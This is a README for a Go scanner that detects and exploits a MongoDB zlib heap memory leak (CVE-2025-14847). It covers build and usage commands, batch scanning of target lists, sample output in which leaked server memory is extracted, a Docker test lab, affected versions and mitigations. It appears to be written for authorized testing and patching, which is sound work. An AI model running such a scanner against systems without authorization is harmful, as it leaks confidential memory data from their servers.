
MongoDB 内存泄露漏洞 (CVE-2025-14847) 检测工具
Tool zur Erkennung der MongoDB-Speicherleck-Schwachstelle (CVE-2025-14847)
⚠️ Wichtiger Hinweis: Dieses Tool ist ausschließlich für autorisierte Sicherheitstests und Schwachstellenbewertungen bestimmt. Eine unbefugte Nutzung kann gegen Gesetze verstoßen.
CVE-2025-14847 ist eine schwerwiegende Speicherleck-Schwachstelle in der Verarbeitung des Zlib-Komprimierungsprotokolls von MongoDB. Ein Angreifer kann durch das Senden manipulierter komprimierter Datenpakete dazu führen, dass MongoDB nicht initialisierte Heap-Speicherdaten zurückgibt, die möglicherweise vertrauliche Informationen enthalten.
# Repository klonen
git clone https://github.com/onewinner/CVE-2025-14847.git
cd CVE-2025-14847
# Abhängigkeiten installieren
go mod download
# Kompilieren
go build -o mongodb-scanner main.go
# Ausführen
./mongodb-scanner -t 127.0.0.1:27017
go run main.go -t 127.0.0.1:27017
Rufen Sie die Seite Releases auf und laden Sie die für Ihr System geeignete vorkompilierte Version herunter.
# Einzelnes Ziel scannen
./mongodb-scanner -t 127.0.0.1:27017
# Batch-Scan aus Datei
./mongodb-scanner -f targets.txt
# Batch-Scan (20 Threads)
./mongodb-scanner -f targets.txt -c 20
# Scannen und anfällige Ziele speichern
./mongodb-scanner -f targets.txt -o vulnerable.txt
# Benutzerdefinierter Offset-Bereich (schnellerer oder tieferer Scan)
./mongodb-scanner -t 127.0.0.1:27017 --min-offset 20 --max-offset 1000
Erstellen Sie eine targets.txt-Datei:
# MongoDB Ziel-Liste
127.0.0.1:27017
192.168.1.100:27017
mongodb.example.com:27017
# Wenn kein Port angegeben wird, wird standardmäßig 27017 verwendet
192.168.1.101
Um dieses Tool sicher zu testen, wird empfohlen, eine lokale Testumgebung mit Docker einzurichten.
# Starten von MongoDB 6.0.14 (anfällige Version) mit Zlib-Kompression
docker run -d \
--name mongodb-vulnerable \
-p 27017:27017 \
mongo:6.0.14 \
--networkMessageCompressors snappy,zlib
# Container-Status prüfen
docker ps
# Schwachstelle testen
./mongodb-scanner -t 127.0.0.1:27017
Erstellen Sie eine docker-compose.yml-Datei:
version: '3.8'
services:
# Anfällige Version (mit Zlib)
mongodb-vulnerable:
image: mongo:6.0.14
container_name: mongodb-vulnerable
ports:
- "27017:27017"
command: mongod --networkMessageCompressors snappy,zlib
# Gefixte Version (zum Vergleich)
mongodb-patched:
image: mongo:6.0.27
container_name: mongodb-patched
ports:
- "27018:27017"
command: mongod --networkMessageCompressors snappy,zlib
volumes:
mongodb-data:
mongodb-patched-data:
Testumgebung starten:
# Alle Container starten
docker-compose up -d
# Anfällige Version testen
./mongodb-scanner -t 127.0.0.1:27017
# Gefixte Version testen
./mongodb-scanner -t 127.0.0.1:27018
# Stoppen und bereinigen
docker-compose down -v
# Container stoppen und löschen
docker stop mongodb-vulnerable && docker rm mongodb-vulnerable
# Datenvolumes bereinigen
docker volume prune -f
Das Tool verwendet einheitliche Präfixe zur Kennzeichnung von Ausgabeinformationen:
[*] – Informationsausgabe (Ziel, Version, Konfiguration usw.)[+] – Erfolg / anfällig / Daten extrahiert[-] – Fehlgeschlagen / sicher / nicht anfällig[!] – Warnung / wichtiger Hinweis╔══════════════════════════════════════════════════════════════╗
║ MongoDB CVE-2025-14847 Schwachstellen-Erkennungstool ║
╚══════════════════════════════════════════════════════════════╝
⚠️ Nur für autorisierte Sicherheitstests | Unbefugte Tests können illegal sein
[*] Ziele: 1 | Threads: 10 | Timeout: 2s | Offset: 20-1000
[*] Scan gestartet...
[*] Ziel: 127.0.0.1:27017
[*] Version: 6.0.14
[+] Anfällige Version: Ja
[+] Zlib-Kompression: Aktiviert
[!] Schwachstelle ausnutzbar, beginne mit Speicherextraktion...
[+] Offset=229 Länge=250: :00\"},\"s\":\"I\", \"c\":\"NETWORK\", \"id\":22944, \"ctx\":\"conn102932\",
[+] 127.0.0.1:27017 - Schwachstelle ausnutzbar (v6.0.14) - 3468ms
[+] Erfolgreich 1 Speicherdateneintrag extrahiert:
[1] :00\"},\"s\":\"I\", \"c\":\"NETWORK\", \"id\":22944, \"ctx\":\"conn102932\",\"msg\":\"Connection ended\",\"attr\":{\"remote\":\"172.17.0.1:44936\"...
======================================================================
[*] Scan abgeschlossen | Gesamt: 1 | Ausnutzbar: 1 | Sicher: 0 | Dauer: 3.4s
======================================================================
[*] Ziel: 127.0.0.1:27018
[*] Version: 6.0.27
[-] Anfällige Version: Nein
[-] 127.0.0.1:27018 - Version sicher (v6.0.27) - 156ms
======================================================================
[*] Scan abgeschlossen | Gesamt: 1 | Ausnutzbar: 0 | Sicher: 1 | Dauer: 0.2s
======================================================================
[*] Ziel: 127.0.0.1:27017
[*] Version: 6.0.14
[+] Anfällige Version: Ja
[-] Zlib-Kompression: Nicht aktiviert
[-] 127.0.0.1:27017 - Zlib nicht aktiviert (v6.0.14) - 234ms
======================================================================
[*] Scan abgeschlossen | Gesamt: 1 | Ausnutzbar: 0 | Sicher: 1 | Dauer: 0.3s
======================================================================
[*] Ziele: 5 | Threads: 10 | Timeout: 2s | Offset: 20-8192
[*] Scan gestartet...
[+] 192.168.1.10:27017 - Schwachstelle ausnutzbar (v6.0.14) - 3521ms
[+] Erfolgreich 2 Speicherdateneinträge extrahiert:
[1] Connection ended...
[2] network statistics...
[-] 192.168.1.11:27017 - Version sicher (v6.0.27) - 145ms
[-] 192.168.1.12:27017 - Zlib nicht aktiviert (v6.0.14) - 198ms
[+] 192.168.1.13:27017 - Schwachstelle ausnutzbar (v7.0.15) - 2987ms
[!] 192.168.1.14:27017 - Schwachstelle ausnutzbar, aber keine Daten extrahiert (v6.0.20) - 4123ms
======================================================================
[*] Scan abgeschlossen | Gesamt: 5 | Ausnutzbar: 3 | Sicher: 2 | Dauer: 5.2s
======================================================================
[+] Ausnutzbare Ziele wurden gespeichert in: vulnerable.txt
Dieses Tool verwendet einen dreistufigen Erkennungsmechanismus:
buildInfo)| Bedingung | Ergebnis |
|---|---|
| Anfällige Version + Zlib aktiviert + Daten extrahiert | ✅ Schwachstelle ausnutzbar – Leckdaten anzeigen |
| Anfällige Version + Zlib aktiviert + keine Daten extrahiert | ⚠️ Schwachstelle ausnutzbar, aber keine Daten extrahiert |
| Anfällige Version + Zlib nicht aktiviert | ❌ Zlib nicht aktiviert – nicht ausnutzbar |
Sofort auf eine der folgenden gefixten Versionen upgraden:
Wenn ein Upgrade kurzfristig nicht möglich ist, können folgende temporäre Maßnahmen ergriffen werden:
In der mongod.conf oder mongos.conf konfigurieren:
net:
compression:
compressors: []
Oder in den Startparametern zlib explizit ausschließen:
mongod --networkMessageCompressors snappy,zstd
Empfohlen wird die Verwendung von snappy oder zstd anstelle von zlib:
net:
compression:
compressors: snappy,zstd
bindIp-Konfiguration verwenden--auth-Parameter)⚠️ Wichtiger Hinweis: Temporäre Abhilfemaßnahmen können das Risiko nur verringern, sind aber keine endgültige Lösung. Es wird dringend empfohlen, so bald wie möglich auf eine gefixten Version zu aktualisieren.
Wichtiger Hinweis:
Durch die Verwendung dieses Tools erklären Sie sich damit einverstanden:
Dieses Projekt ist unter der MIT-Lizenz lizenziert.
Issues und Pull Requests sind willkommen!
git checkout -b feature/AmazingFeature)git commit -m 'Add some AmazingFeature')git push origin feature/AmazingFeature)onewinner – @onewinner
Projekt-URL: https://github.com/onewinner/CVE-2025-14847
⭐ Wenn dieses Projekt für Sie hilfreich ist, geben Sie bitte einen Stern!
Mit ❤️ erstellt von Sicherheitsforschern
| Versionen | Status |
|---|
| 8.2.0 - 8.2.2 | ⚠️ Betroffen |
| 8.0.0 - 8.0.16 | ⚠️ Betroffen |
| 7.0.0 - 7.0.27 | ⚠️ Betroffen |
| 6.0.0 - 6.0.26 | ⚠️ Betroffen |
| 5.0.0 - 5.0.31 | ⚠️ Betroffen |
| 4.4.0 - 4.4.29 | ⚠️ Betroffen |
| 4.2.x alle Versionen | ⚠️ Betroffen |
| 4.0.x alle Versionen | ⚠️ Betroffen |
| 3.6.x alle Versionen | ⚠️ Betroffen |
| Parameter | Beschreibung | Standardwert |
|---|
-t <target> | Einzelnes Ziel (z. B. 127.0.0.1:27017) | - |
-f <file> | Zieldatei (ein Ziel pro Zeile) | - |
-c <num> | Anzahl der gleichzeitigen Threads | 10 |
-timeout <time> | Verbindungs-Timeout | 2s |
-o <file> | Ausgabedatei (speichert anfällige Ziele) | - |
--min-offset <num> | Minimale Dokumentlängen-Offset | 20 |
--max-offset <num> | Maximale Dokumentlängen-Offset | 8192 |
| Nicht anfällige Version | ✅ Version sicher |